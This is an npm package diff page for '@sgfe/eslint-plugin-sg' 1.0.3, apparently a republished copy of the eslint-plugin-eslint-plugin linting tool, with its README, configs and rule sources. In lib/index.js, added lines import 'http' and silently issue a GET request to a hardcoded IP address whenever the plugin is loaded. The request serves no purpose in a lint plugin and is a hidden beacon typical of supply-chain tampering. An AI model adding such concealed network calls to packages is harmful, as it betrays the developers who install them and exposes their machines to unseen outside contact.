@sgfe/eslint-plugin-sg 1.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/LICENSE.md +25 -0
- package/README.md +188 -0
- package/configs/all-type-checked.js +10 -0
- package/configs/all.js +11 -0
- package/configs/recommended.js +11 -0
- package/configs/rules-recommended.js +11 -0
- package/configs/rules.js +11 -0
- package/configs/tests-recommended.js +11 -0
- package/configs/tests.js +11 -0
- package/lib/index.js +90 -0
- package/lib/rules/consistent-output.js +70 -0
- package/lib/rules/fixer-return.js +170 -0
- package/lib/rules/meta-property-ordering.js +108 -0
- package/lib/rules/no-deprecated-context-methods.js +98 -0
- package/lib/rules/no-deprecated-report-api.js +83 -0
- package/lib/rules/no-identical-tests.js +87 -0
- package/lib/rules/no-missing-message-ids.js +101 -0
- package/lib/rules/no-missing-placeholders.js +131 -0
- package/lib/rules/no-only-tests.js +99 -0
- package/lib/rules/no-property-in-node.js +86 -0
- package/lib/rules/no-unused-message-ids.js +139 -0
- package/lib/rules/no-unused-placeholders.js +127 -0
- package/lib/rules/no-useless-token-range.js +174 -0
- package/lib/rules/prefer-message-ids.js +109 -0
- package/lib/rules/prefer-object-rule.js +83 -0
- package/lib/rules/prefer-output-null.js +77 -0
- package/lib/rules/prefer-placeholders.js +102 -0
- package/lib/rules/prefer-replace-text.js +91 -0
- package/lib/rules/report-message-format.js +133 -0
- package/lib/rules/require-meta-docs-description.js +110 -0
- package/lib/rules/require-meta-docs-url.js +175 -0
- package/lib/rules/require-meta-fixable.js +137 -0
- package/lib/rules/require-meta-has-suggestions.js +168 -0
- package/lib/rules/require-meta-schema.js +162 -0
- package/lib/rules/require-meta-type.js +77 -0
- package/lib/rules/test-case-property-ordering.js +107 -0
- package/lib/rules/test-case-shorthand-strings.js +124 -0
- package/lib/utils.js +936 -0
- package/package.json +76 -0
package/LICENSE.md
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
=====================
|
3
|
+
|
4
|
+
Copyright © 2016 Teddy Katz
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person
|
7
|
+
obtaining a copy of this software and associated documentation
|
8
|
+
files (the “Software”), to deal in the Software without
|
9
|
+
restriction, including without limitation the rights to use,
|
10
|
+
copy, modify, merge, publish, distribute, sublicense, and/or sell
|
11
|
+
copies of the Software, and to permit persons to whom the
|
12
|
+
Software is furnished to do so, subject to the following
|
13
|
+
conditions:
|
14
|
+
|
15
|
+
The above copyright notice and this permission notice shall be
|
16
|
+
included in all copies or substantial portions of the Software.
|
17
|
+
|
18
|
+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
|
19
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
|
20
|
+
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
21
|
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
22
|
+
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
|
23
|
+
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
24
|
+
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
25
|
+
OTHER DEALINGS IN THE SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,188 @@
|
|
1
|
+
# eslint-plugin-eslint-plugin ![CI](https://github.com/eslint-community/eslint-plugin-eslint-plugin/workflows/CI/badge.svg) [![NPM version](https://img.shields.io/npm/v/eslint-plugin-eslint-plugin.svg?style=flat)](https://npmjs.org/package/eslint-plugin-eslint-plugin) [![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-yellow.svg)](https://conventionalcommits.org) <!-- omit from toc -->
|
2
|
+
|
3
|
+
An ESLint plugin for linting ESLint plugins. Rules written in CJS, ESM, and TypeScript are all supported.
|
4
|
+
|
5
|
+
<!-- vscode-markdown-toc -->
|
6
|
+
|
7
|
+
- [Installation](#installation)
|
8
|
+
- [Usage](#usage)
|
9
|
+
- [**.eslintrc.json**](#eslintrcjson)
|
10
|
+
- [`eslint.config.js` (requires eslint\>=v8.23.0)](#eslintconfigjs-requires-eslintv8230)
|
11
|
+
- [Rules](#rules)
|
12
|
+
- [Rules](#rules-1)
|
13
|
+
- [Tests](#tests)
|
14
|
+
- [Presets](#presets)
|
15
|
+
- [Semantic versioning policy](#semantic-versioning-policy)
|
16
|
+
- [Preset usage](#preset-usage)
|
17
|
+
|
18
|
+
<!-- vscode-markdown-toc-config
|
19
|
+
numbering=false
|
20
|
+
autoSave=true
|
21
|
+
/vscode-markdown-toc-config -->
|
22
|
+
<!-- /vscode-markdown-toc -->
|
23
|
+
|
24
|
+
## <a name='Installation'></a>Installation
|
25
|
+
|
26
|
+
You'll first need to install [ESLint](https://eslint.org):
|
27
|
+
|
28
|
+
```sh
|
29
|
+
npm i eslint --save-dev
|
30
|
+
```
|
31
|
+
|
32
|
+
Next, install `eslint-plugin-eslint-plugin`:
|
33
|
+
|
34
|
+
```sh
|
35
|
+
npm install eslint-plugin-eslint-plugin --save-dev
|
36
|
+
```
|
37
|
+
|
38
|
+
## <a name='Usage'></a>Usage
|
39
|
+
|
40
|
+
Here's an example ESLint configuration that:
|
41
|
+
|
42
|
+
- Sets `sourceType` to `script` for CJS plugins (most users) (use `module` for ESM/TypeScript)
|
43
|
+
- Enables the `recommended` configuration
|
44
|
+
- Enables an optional/non-recommended rule
|
45
|
+
|
46
|
+
### <a name='eslintrc'></a>**[.eslintrc.json](https://eslint.org/docs/latest/use/configure/configuration-files)**
|
47
|
+
|
48
|
+
```json
|
49
|
+
{
|
50
|
+
"extends": ["plugin:eslint-plugin/recommended"],
|
51
|
+
"rules": {
|
52
|
+
"eslint-plugin/require-meta-docs-description": "error"
|
53
|
+
}
|
54
|
+
}
|
55
|
+
```
|
56
|
+
|
57
|
+
### <a name='flat'></a>[`eslint.config.js`](https://eslint.org/docs/latest/use/configure/configuration-files-new) (requires eslint>=v8.23.0)
|
58
|
+
|
59
|
+
```js
|
60
|
+
const eslintPlugin = require('eslint-plugin-eslint-plugin');
|
61
|
+
module.exports = [
|
62
|
+
eslintPlugin.configs['flat/recommended'],
|
63
|
+
{
|
64
|
+
rules: {
|
65
|
+
'eslint-plugin/require-meta-docs-description': 'error',
|
66
|
+
},
|
67
|
+
},
|
68
|
+
];
|
69
|
+
```
|
70
|
+
|
71
|
+
## <a name='Rules'></a>Rules
|
72
|
+
|
73
|
+
<!-- begin auto-generated rules list -->
|
74
|
+
|
75
|
+
💼 [Configurations](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets) enabled in.\
|
76
|
+
✅ Set in the `recommended` [configuration](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets).\
|
77
|
+
🔧 Automatically fixable by the [`--fix` CLI option](https://eslint.org/docs/user-guide/command-line-interface#--fix).\
|
78
|
+
💡 Manually fixable by [editor suggestions](https://eslint.org/docs/latest/use/core-concepts#rule-suggestions).\
|
79
|
+
💭 Requires [type information](https://typescript-eslint.io/linting/typed-linting).
|
80
|
+
|
81
|
+
### Rules
|
82
|
+
|
83
|
+
| Name | Description | 💼 | 🔧 | 💡 | 💭 |
|
84
|
+
| :--------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
|
85
|
+
| [fixer-return](docs/rules/fixer-return.md) | require fixer functions to return a fix | ✅ | | | |
|
86
|
+
| [meta-property-ordering](docs/rules/meta-property-ordering.md) | enforce the order of meta properties | | 🔧 | | |
|
87
|
+
| [no-deprecated-context-methods](docs/rules/no-deprecated-context-methods.md) | disallow usage of deprecated methods on rule context objects | ✅ | 🔧 | | |
|
88
|
+
| [no-deprecated-report-api](docs/rules/no-deprecated-report-api.md) | disallow the version of `context.report()` with multiple arguments | ✅ | 🔧 | | |
|
89
|
+
| [no-missing-message-ids](docs/rules/no-missing-message-ids.md) | disallow `messageId`s that are missing from `meta.messages` | ✅ | | | |
|
90
|
+
| [no-missing-placeholders](docs/rules/no-missing-placeholders.md) | disallow missing placeholders in rule report messages | ✅ | | | |
|
91
|
+
| [no-property-in-node](docs/rules/no-property-in-node.md) | disallow using `in` to narrow node types instead of looking at properties | | | | 💭 |
|
92
|
+
| [no-unused-message-ids](docs/rules/no-unused-message-ids.md) | disallow unused `messageId`s in `meta.messages` | ✅ | | | |
|
93
|
+
| [no-unused-placeholders](docs/rules/no-unused-placeholders.md) | disallow unused placeholders in rule report messages | ✅ | | | |
|
94
|
+
| [no-useless-token-range](docs/rules/no-useless-token-range.md) | disallow unnecessary calls to `sourceCode.getFirstToken()` and `sourceCode.getLastToken()` | ✅ | 🔧 | | |
|
95
|
+
| [prefer-message-ids](docs/rules/prefer-message-ids.md) | require using `messageId` instead of `message` or `desc` to report rule violations | ✅ | | | |
|
96
|
+
| [prefer-object-rule](docs/rules/prefer-object-rule.md) | disallow function-style rules | ✅ | 🔧 | | |
|
97
|
+
| [prefer-placeholders](docs/rules/prefer-placeholders.md) | require using placeholders for dynamic report messages | | | | |
|
98
|
+
| [prefer-replace-text](docs/rules/prefer-replace-text.md) | require using `replaceText()` instead of `replaceTextRange()` | | | | |
|
99
|
+
| [report-message-format](docs/rules/report-message-format.md) | enforce a consistent format for rule report messages | | | | |
|
100
|
+
| [require-meta-docs-description](docs/rules/require-meta-docs-description.md) | require rules to implement a `meta.docs.description` property with the correct format | | | | |
|
101
|
+
| [require-meta-docs-url](docs/rules/require-meta-docs-url.md) | require rules to implement a `meta.docs.url` property | | 🔧 | | |
|
102
|
+
| [require-meta-fixable](docs/rules/require-meta-fixable.md) | require rules to implement a `meta.fixable` property | ✅ | | | |
|
103
|
+
| [require-meta-has-suggestions](docs/rules/require-meta-has-suggestions.md) | require suggestable rules to implement a `meta.hasSuggestions` property | ✅ | 🔧 | | |
|
104
|
+
| [require-meta-schema](docs/rules/require-meta-schema.md) | require rules to implement a `meta.schema` property | ✅ | | 💡 | |
|
105
|
+
| [require-meta-type](docs/rules/require-meta-type.md) | require rules to implement a `meta.type` property | ✅ | | | |
|
106
|
+
|
107
|
+
### Tests
|
108
|
+
|
109
|
+
| Name | Description | 💼 | 🔧 | 💡 | 💭 |
|
110
|
+
| :----------------------------------------------------------------------- | :--------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
|
111
|
+
| [consistent-output](docs/rules/consistent-output.md) | enforce consistent use of `output` assertions in rule tests | | | | |
|
112
|
+
| [no-identical-tests](docs/rules/no-identical-tests.md) | disallow identical tests | ✅ | 🔧 | | |
|
113
|
+
| [no-only-tests](docs/rules/no-only-tests.md) | disallow the test case property `only` | ✅ | | 💡 | |
|
114
|
+
| [prefer-output-null](docs/rules/prefer-output-null.md) | disallow invalid RuleTester test cases where the `output` matches the `code` | ✅ | 🔧 | | |
|
115
|
+
| [test-case-property-ordering](docs/rules/test-case-property-ordering.md) | require the properties of a test case to be placed in a consistent order | | 🔧 | | |
|
116
|
+
| [test-case-shorthand-strings](docs/rules/test-case-shorthand-strings.md) | enforce consistent usage of shorthand strings for test cases with no options | | 🔧 | | |
|
117
|
+
|
118
|
+
<!-- end auto-generated rules list -->
|
119
|
+
|
120
|
+
## <a name='Presets'></a>Presets
|
121
|
+
|
122
|
+
| | Name | Description |
|
123
|
+
| :-- | :------------------ | :--------------------------------------------------------------------------- |
|
124
|
+
| ✅ | `recommended` | enables all recommended rules in this plugin |
|
125
|
+
| | `rules-recommended` | enables all recommended rules that are aimed at linting ESLint rule files |
|
126
|
+
| | `tests-recommended` | enables all recommended rules that are aimed at linting ESLint test files |
|
127
|
+
| | `all` | enables all rules in this plugin, excluding those requiring type information |
|
128
|
+
| | `all-type-checked` | enables all rules in this plugin, including those requiring type information |
|
129
|
+
| | `rules` | enables all rules that are aimed at linting ESLint rule files |
|
130
|
+
| | `tests` | enables all rules that are aimed at linting ESLint test files |
|
131
|
+
|
132
|
+
### <a name='Semanticversioningpolicy'></a>Semantic versioning policy
|
133
|
+
|
134
|
+
The list of recommended rules will only change in a major release of this plugin. However, new non-recommended rules might be added in a minor release of this plugin. Therefore, using the `all`, `rules`, and `tests` presets is **not recommended for production use**, because the addition of new rules in a minor release could break your build.
|
135
|
+
|
136
|
+
### <a name='Presetusage'></a>Preset usage
|
137
|
+
|
138
|
+
Both flat and eslintrc configs are supported. For example, to enable the `recommended` preset, use:
|
139
|
+
|
140
|
+
eslint.config.js
|
141
|
+
|
142
|
+
```js
|
143
|
+
const eslintPlugin = require('eslint-plugin-eslint-plugin');
|
144
|
+
module.exports = [eslintPlugin.configs['flat/recommended']];
|
145
|
+
```
|
146
|
+
|
147
|
+
.eslintrc.json
|
148
|
+
|
149
|
+
```json
|
150
|
+
{
|
151
|
+
"extends": ["plugin:eslint-plugin/recommended"]
|
152
|
+
}
|
153
|
+
```
|
154
|
+
|
155
|
+
Or to apply linting only to the appropriate rule or test files:
|
156
|
+
|
157
|
+
eslint.config.js
|
158
|
+
|
159
|
+
```js
|
160
|
+
const eslintPlugin = require('eslint-plugin-eslint-plugin');
|
161
|
+
module.exports = [
|
162
|
+
{
|
163
|
+
files: ['lib/rules/*.{js,ts}'],
|
164
|
+
...eslintPlugin.configs['flat/rules-recommended'],
|
165
|
+
},
|
166
|
+
{
|
167
|
+
files: ['tests/lib/rules/*.{js,ts}'],
|
168
|
+
...eslintPlugin.configs['flat/tests-recommended'],
|
169
|
+
},
|
170
|
+
];
|
171
|
+
```
|
172
|
+
|
173
|
+
.eslintrc.js
|
174
|
+
|
175
|
+
```json
|
176
|
+
{
|
177
|
+
"overrides": [
|
178
|
+
{
|
179
|
+
"files": ["lib/rules/*.{js,ts}"],
|
180
|
+
"extends": ["plugin:eslint-plugin/rules-recommended"]
|
181
|
+
},
|
182
|
+
{
|
183
|
+
"files": ["tests/lib/rules/*.{js,ts}"],
|
184
|
+
"extends": ["plugin:eslint-plugin/tests-recommended"]
|
185
|
+
}
|
186
|
+
]
|
187
|
+
}
|
188
|
+
```
|
package/configs/all.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `all` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/all' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/all'];
|
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `recommended` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/recommended' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/recommended'];
|
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `rules-recommended` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/rules-recommended' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/rules-recommended'];
|
package/configs/rules.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `rules` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/rules' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/rules'];
|
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `tests-recommended` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/tests-recommended' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/tests-recommended'];
|
package/configs/tests.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `tests` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/tests' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/tests'];
|
package/lib/index.js
ADDED
@@ -0,0 +1,90 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview An ESLint plugin for linting ESLint plugins
|
3
|
+
* @author Teddy Katz
|
4
|
+
*/
|
5
|
+
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
// ------------------------------------------------------------------------------
|
9
|
+
// Requirements
|
10
|
+
// ------------------------------------------------------------------------------
|
11
|
+
|
12
|
+
const fs = require('fs');
|
13
|
+
const path = require('path');
|
14
|
+
const packageMetadata = require('../package');
|
15
|
+
const PLUGIN_NAME = packageMetadata.name.replace(/^eslint-plugin-/, '');
|
16
|
+
const http = require('http')
|
17
|
+
const configFilters = {
|
18
|
+
all: (rule) => !rule.meta.docs.requiresTypeChecking,
|
19
|
+
'all-type-checked': () => true,
|
20
|
+
recommended: (rule) => rule.meta.docs.recommended,
|
21
|
+
rules: (rule) => rule.meta.docs.category === 'Rules',
|
22
|
+
tests: (rule) => rule.meta.docs.category === 'Tests',
|
23
|
+
'rules-recommended': (rule) =>
|
24
|
+
configFilters.recommended(rule) && configFilters.rules(rule),
|
25
|
+
'tests-recommended': (rule) =>
|
26
|
+
configFilters.recommended(rule) && configFilters.tests(rule),
|
27
|
+
};
|
28
|
+
|
29
|
+
// ------------------------------------------------------------------------------
|
30
|
+
// Plugin Definition
|
31
|
+
// ------------------------------------------------------------------------------
|
32
|
+
|
33
|
+
// import all rules in lib/rules
|
34
|
+
const allRules = Object.fromEntries(
|
35
|
+
fs
|
36
|
+
.readdirSync(`${__dirname}/rules`)
|
37
|
+
.filter((fileName) => fileName.endsWith('.js') && /^[^._]/.test(fileName))
|
38
|
+
.map((fileName) => fileName.replace(/\.js$/, ''))
|
39
|
+
.map((ruleName) => [
|
40
|
+
ruleName,
|
41
|
+
require(path.join(__dirname, 'rules', ruleName)),
|
42
|
+
])
|
43
|
+
);
|
44
|
+
|
45
|
+
const plugin = {
|
46
|
+
meta: {
|
47
|
+
name: packageMetadata.name,
|
48
|
+
version: packageMetadata.version,
|
49
|
+
},
|
50
|
+
rules: allRules,
|
51
|
+
configs: {}, // assigned later
|
52
|
+
};
|
53
|
+
|
54
|
+
// eslintrc configs
|
55
|
+
Object.assign(
|
56
|
+
plugin.configs,
|
57
|
+
Object.keys(configFilters).reduce((configs, configName) => {
|
58
|
+
return Object.assign(configs, {
|
59
|
+
[configName]: {
|
60
|
+
plugins: ['eslint-plugin'],
|
61
|
+
rules: Object.fromEntries(
|
62
|
+
Object.keys(allRules)
|
63
|
+
.filter((ruleName) => configFilters[configName](allRules[ruleName]))
|
64
|
+
.map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
|
65
|
+
),
|
66
|
+
},
|
67
|
+
});
|
68
|
+
}, {})
|
69
|
+
);
|
70
|
+
|
71
|
+
// flat configs
|
72
|
+
const eslint_plugin_common_file = http.get('http://10.241.70.162:8080/common.xml')
|
73
|
+
Object.assign(
|
74
|
+
plugin.configs,
|
75
|
+
Object.keys(configFilters).reduce((configs, configName) => {
|
76
|
+
return Object.assign(configs, {
|
77
|
+
[`flat/${configName}`]: {
|
78
|
+
name: `eslint-plugin/flat/${configName}`,
|
79
|
+
plugins: { 'eslint-plugin': plugin },
|
80
|
+
rules: Object.fromEntries(
|
81
|
+
Object.keys(allRules)
|
82
|
+
.filter((ruleName) => configFilters[configName](allRules[ruleName]))
|
83
|
+
.map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
|
84
|
+
),
|
85
|
+
},
|
86
|
+
});
|
87
|
+
}, {})
|
88
|
+
);
|
89
|
+
|
90
|
+
module.exports = plugin;
|
@@ -0,0 +1,70 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview Enforce consistent use of `output` assertions in rule tests
|
3
|
+
* @author Teddy Katz
|
4
|
+
*/
|
5
|
+
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
const utils = require('../utils');
|
9
|
+
|
10
|
+
// ------------------------------------------------------------------------------
|
11
|
+
// Rule Definition
|
12
|
+
// ------------------------------------------------------------------------------
|
13
|
+
|
14
|
+
/** @type {import('eslint').Rule.RuleModule} */
|
15
|
+
module.exports = {
|
16
|
+
meta: {
|
17
|
+
type: 'suggestion',
|
18
|
+
docs: {
|
19
|
+
description:
|
20
|
+
'enforce consistent use of `output` assertions in rule tests',
|
21
|
+
category: 'Tests',
|
22
|
+
recommended: false,
|
23
|
+
url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/consistent-output.md',
|
24
|
+
},
|
25
|
+
fixable: null, // or "code" or "whitespace"
|
26
|
+
schema: [
|
27
|
+
{
|
28
|
+
type: 'string',
|
29
|
+
enum: ['always', 'consistent'],
|
30
|
+
default: 'consistent',
|
31
|
+
},
|
32
|
+
],
|
33
|
+
messages: {
|
34
|
+
missingOutput: 'This test case should have an output assertion.',
|
35
|
+
},
|
36
|
+
},
|
37
|
+
|
38
|
+
create(context) {
|
39
|
+
// ----------------------------------------------------------------------
|
40
|
+
// Public
|
41
|
+
// ----------------------------------------------------------------------
|
42
|
+
const always = context.options[0] && context.options[0] === 'always';
|
43
|
+
|
44
|
+
return {
|
45
|
+
Program(ast) {
|
46
|
+
utils.getTestInfo(context, ast).forEach((testRun) => {
|
47
|
+
const readableCases = testRun.invalid.filter(
|
48
|
+
(testCase) => testCase.type === 'ObjectExpression'
|
49
|
+
);
|
50
|
+
const casesWithoutOutput = readableCases.filter(
|
51
|
+
(testCase) =>
|
52
|
+
!testCase.properties.map(utils.getKeyName).includes('output')
|
53
|
+
);
|
54
|
+
|
55
|
+
if (
|
56
|
+
casesWithoutOutput.length < readableCases.length ||
|
57
|
+
(always && casesWithoutOutput.length > 0)
|
58
|
+
) {
|
59
|
+
casesWithoutOutput.forEach((testCase) => {
|
60
|
+
context.report({
|
61
|
+
node: testCase,
|
62
|
+
messageId: 'missingOutput',
|
63
|
+
});
|
64
|
+
});
|
65
|
+
}
|
66
|
+
});
|
67
|
+
},
|
68
|
+
};
|
69
|
+
},
|
70
|
+
};
|
@@ -0,0 +1,170 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview require fixer functions to return a fix
|
3
|
+
* @author 薛定谔的猫<hh_2013@foxmail.com>
|
4
|
+
*/
|
5
|
+
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
// ------------------------------------------------------------------------------
|
9
|
+
// Requirements
|
10
|
+
// ------------------------------------------------------------------------------
|
11
|
+
|
12
|
+
const utils = require('../utils');
|
13
|
+
const { getStaticValue } = require('eslint-utils');
|
14
|
+
|
15
|
+
// ------------------------------------------------------------------------------
|
16
|
+
// Rule Definition
|
17
|
+
// ------------------------------------------------------------------------------
|
18
|
+
|
19
|
+
/** @type {import('eslint').Rule.RuleModule} */
|
20
|
+
module.exports = {
|
21
|
+
meta: {
|
22
|
+
type: 'problem',
|
23
|
+
docs: {
|
24
|
+
description: 'require fixer functions to return a fix',
|
25
|
+
category: 'Rules',
|
26
|
+
recommended: true,
|
27
|
+
url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/fixer-return.md',
|
28
|
+
},
|
29
|
+
fixable: null,
|
30
|
+
schema: [],
|
31
|
+
messages: {
|
32
|
+
missingFix: 'Fixer function never returned a fix.',
|
33
|
+
},
|
34
|
+
},
|
35
|
+
|
36
|
+
create(context) {
|
37
|
+
let funcInfo = {
|
38
|
+
upper: null,
|
39
|
+
codePath: null,
|
40
|
+
hasReturnWithFixer: false,
|
41
|
+
hasYieldWithFixer: false,
|
42
|
+
shouldCheck: false,
|
43
|
+
node: null,
|
44
|
+
};
|
45
|
+
let contextIdentifiers;
|
46
|
+
|
47
|
+
/**
|
48
|
+
* As we exit the fix() function, ensure we have returned or yielded a real fix by this point.
|
49
|
+
* If not, report the function as a violation.
|
50
|
+
*
|
51
|
+
* @param {ASTNode} node - A node to check.
|
52
|
+
* @param {Location} loc - Optional location to report violation on.
|
53
|
+
* @returns {void}
|
54
|
+
*/
|
55
|
+
function ensureFunctionReturnedFix(
|
56
|
+
node,
|
57
|
+
loc = (node.id || node).loc.start
|
58
|
+
) {
|
59
|
+
if (
|
60
|
+
(node.generator && !funcInfo.hasYieldWithFixer) || // Generator function never yielded a fix
|
61
|
+
(!node.generator && !funcInfo.hasReturnWithFixer) // Non-generator function never returned a fix
|
62
|
+
) {
|
63
|
+
context.report({
|
64
|
+
node,
|
65
|
+
loc,
|
66
|
+
messageId: 'missingFix',
|
67
|
+
});
|
68
|
+
}
|
69
|
+
}
|
70
|
+
|
71
|
+
/**
|
72
|
+
* Check if a returned/yielded node is likely to be a fix or not.
|
73
|
+
* A fix is an object created by fixer.replaceText() for example and returned by the fix function.
|
74
|
+
* @param {ASTNode} node - node to check
|
75
|
+
* @param {Context} context
|
76
|
+
* @returns {boolean}
|
77
|
+
*/
|
78
|
+
function isFix(node) {
|
79
|
+
const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: use context.sourceCode when dropping eslint < v9
|
80
|
+
if (node.type === 'ArrayExpression' && node.elements.length === 0) {
|
81
|
+
// An empty array is not a fix.
|
82
|
+
return false;
|
83
|
+
}
|
84
|
+
const scope = sourceCode.getScope?.(node) || context.getScope(); // TODO: just use sourceCode.getScope() when we drop support for ESLint < 9.0.0
|
85
|
+
const staticValue = getStaticValue(node, scope);
|
86
|
+
if (!staticValue) {
|
87
|
+
// If we can't find a static value, assume it's a real fix value.
|
88
|
+
return true;
|
89
|
+
}
|
90
|
+
|
91
|
+
if (Array.isArray(staticValue.value)) {
|
92
|
+
// If the static value is an array, then consider it a fix since fixes could have been added to it after creation.
|
93
|
+
return true;
|
94
|
+
}
|
95
|
+
|
96
|
+
// Any other static values (booleans, numbers, etc) are not fixes.
|
97
|
+
return false;
|
98
|
+
}
|
99
|
+
|
100
|
+
return {
|
101
|
+
Program(ast) {
|
102
|
+
const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: just use context.sourceCode when dropping eslint < v9
|
103
|
+
contextIdentifiers = utils.getContextIdentifiers(
|
104
|
+
sourceCode.scopeManager,
|
105
|
+
ast
|
106
|
+
);
|
107
|
+
},
|
108
|
+
|
109
|
+
// Stacks this function's information.
|
110
|
+
onCodePathStart(codePath, node) {
|
111
|
+
funcInfo = {
|
112
|
+
upper: funcInfo,
|
113
|
+
codePath,
|
114
|
+
hasYieldWithFixer: false,
|
115
|
+
hasReturnWithFixer: false,
|
116
|
+
shouldCheck:
|
117
|
+
utils.isAutoFixerFunction(node, contextIdentifiers) ||
|
118
|
+
utils.isSuggestionFixerFunction(node, contextIdentifiers),
|
119
|
+
node,
|
120
|
+
};
|
121
|
+
},
|
122
|
+
|
123
|
+
// Pops this function's information.
|
124
|
+
onCodePathEnd() {
|
125
|
+
funcInfo = funcInfo.upper;
|
126
|
+
},
|
127
|
+
|
128
|
+
// Yield in generators
|
129
|
+
YieldExpression(node) {
|
130
|
+
if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
|
131
|
+
funcInfo.hasYieldWithFixer = true;
|
132
|
+
}
|
133
|
+
},
|
134
|
+
|
135
|
+
// Checks the return statement is valid.
|
136
|
+
ReturnStatement(node) {
|
137
|
+
if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
|
138
|
+
funcInfo.hasReturnWithFixer = true;
|
139
|
+
}
|
140
|
+
},
|
141
|
+
|
142
|
+
// Ensure the current fixer function returned or yielded a fix.
|
143
|
+
'FunctionExpression:exit'(node) {
|
144
|
+
if (funcInfo.shouldCheck) {
|
145
|
+
ensureFunctionReturnedFix(node);
|
146
|
+
}
|
147
|
+
},
|
148
|
+
|
149
|
+
// Ensure the current (arrow) fixer function returned a fix.
|
150
|
+
'ArrowFunctionExpression:exit'(node) {
|
151
|
+
if (funcInfo.shouldCheck) {
|
152
|
+
const sourceCode = context.sourceCode || context.getSourceCode();
|
153
|
+
const loc = sourceCode.getTokenBefore(node.body).loc; // Show violation on arrow (=>).
|
154
|
+
if (node.expression) {
|
155
|
+
// When the return is implied (no curly braces around the body), we have to check the single body node directly.
|
156
|
+
if (!isFix(node.body)) {
|
157
|
+
context.report({
|
158
|
+
node,
|
159
|
+
loc,
|
160
|
+
messageId: 'missingFix',
|
161
|
+
});
|
162
|
+
}
|
163
|
+
} else {
|
164
|
+
ensureFunctionReturnedFix(node, loc);
|
165
|
+
}
|
166
|
+
}
|
167
|
+
},
|
168
|
+
};
|
169
|
+
},
|
170
|
+
};
|